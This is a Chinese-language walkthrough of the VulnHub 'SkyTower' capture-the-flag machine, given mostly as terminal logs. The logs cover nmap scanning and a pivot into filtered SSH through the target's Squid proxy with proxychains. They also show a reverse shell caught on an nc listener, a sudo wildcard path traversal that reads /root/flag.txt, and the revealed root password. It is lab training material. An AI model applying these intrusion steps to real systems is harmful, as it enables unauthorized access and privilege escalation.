root@kali:~/vulnhub/SkyTower# nmap -sn -v 192.168.56.* Nmap scan report for 192.168.56.101 Host is up (0.00015s latency). MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
1 2 3 4 5
root@kali:~# nmap -p- -v -sV 192.168.56.101 PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.2.22 ((Debian)) 3128/tcp open http-proxy Squid http proxy 3.1.20
root@kali:~# nmap -p 22,80,3128 -v -A -T4 --script=vuln 192.168.56.101 PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_clamav-exec: ERROR: Script execution failed (use -d to debug) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.101 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.56.101:80/ | Form id: |_ Form action: login.php |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: |_ /login.php: Possible admin folder |_http-server-header: Apache/2.2.22 (Debian) | http-sql-injection: | Possible sqli for forms: | Form at path: /, form's action: login.php. Fields that might be vulnerable: |_ email |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. 3128/tcp open http-proxy Squid http proxy 3.1.20 |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-server-header: squid/3.1.20
root@kali:~/vulnhub/SkyTower# proxychains ssh john@127.0.0.1 ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-192.168.56.101:3128-<>-127.0.0.1:1080-<--denied |D-chain|-<>-192.168.56.101:3128-<><>-127.0.0.1:22-<><>-OK The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. ECDSA key fingerprint is SHA256:QYZqyNNW/Z81N86urjCUIrTBvJ06U9XDDzNv91DYaGc. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts. Enter passphrase for key '/root/.ssh/id_rsa': john@127.0.0.1's password: Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jun 20 07:41:08 2014
Funds have been withdrawn Connection to 127.0.0.1 closed.
root@kali:~# nc -lvp 5566 listening on [any] 5566 ... 192.168.56.101: inverse host lookup failed: Host name lookup failure connect to [192.168.56.102] from (UNKNOWN) [192.168.56.101] 34906 id uid=1001(sara) gid=1001(sara) groups=1001(sara) whoami sara sudo -l Matching Defaults entries for sara on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sara may run the following commands on this host: (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
如所见,sara可以使用sudo运行以下命令cat和ls,目录必须为/accounts/*
找到flag
1 2 3
sudo /bin/cat /accounts/../../../root/flag.txt Congratz, have a cold one to celebrate! root password is theskytower
然后连接root账户的ssh,成功获取root权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
root@kali:~/vulnhub/SkyTower# proxychains ssh root@127.0.0.1 -t "/bin/bash" ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-192.168.56.101:3128-<>-127.0.0.1:1080-<--denied |D-chain|-<>-192.168.56.101:3128-<><>-127.0.0.1:22-<><>-OK Enter passphrase for key '/root/.ssh/id_rsa': root@127.0.0.1's password: root@SkyTower:~# id uid=0(root) gid=0(root) groups=0(root) root@SkyTower:~# whoami root root@SkyTower:~# ls flag.txt root@SkyTower:~# cat flag.txt Congratz, have a cold one to celebrate! root password is theskytower root@SkyTower:~#
知识点总结
sql注入绕过过滤
使用proxychains代理http-proxy连接被过滤的ssh端口
Game over
不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…